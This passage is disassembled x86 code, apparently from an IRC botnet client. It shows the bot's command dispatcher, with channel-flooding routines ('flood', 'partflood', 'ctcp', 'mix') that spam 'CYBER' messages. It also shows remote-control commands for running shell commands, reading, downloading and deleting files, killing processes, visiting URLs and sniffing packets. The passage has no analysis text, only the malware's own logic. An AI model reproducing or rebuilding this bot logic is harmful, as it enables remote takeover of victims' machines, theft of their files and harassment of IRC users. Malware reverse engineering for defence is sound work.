		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_404BE6


loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BC34
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42BBCC
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42BBC8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42D0F4 ; " "
		push	offset dword_42BBC4
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBB4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42BBB0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42D0F4 ; " "
		push	offset dword_42BBC4
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BB9C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42D0F4 ; " "
		push	offset dword_42BBC4
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42D0F4 ; " "
		push	offset dword_42BBC4
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB2C
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42BB18
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42BB14
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BAEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h


loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42BBB4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBB4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBB4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAA4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA8C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA74
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA74
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAA4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D46CC


loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB6CC	; closesocket


loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DADEC
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BA14
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------


loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B91C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_2 ; "#f"
		push	offset byte_43D7E8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]


loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset sub_411FD5
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_405C30


loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------


loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B8B0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
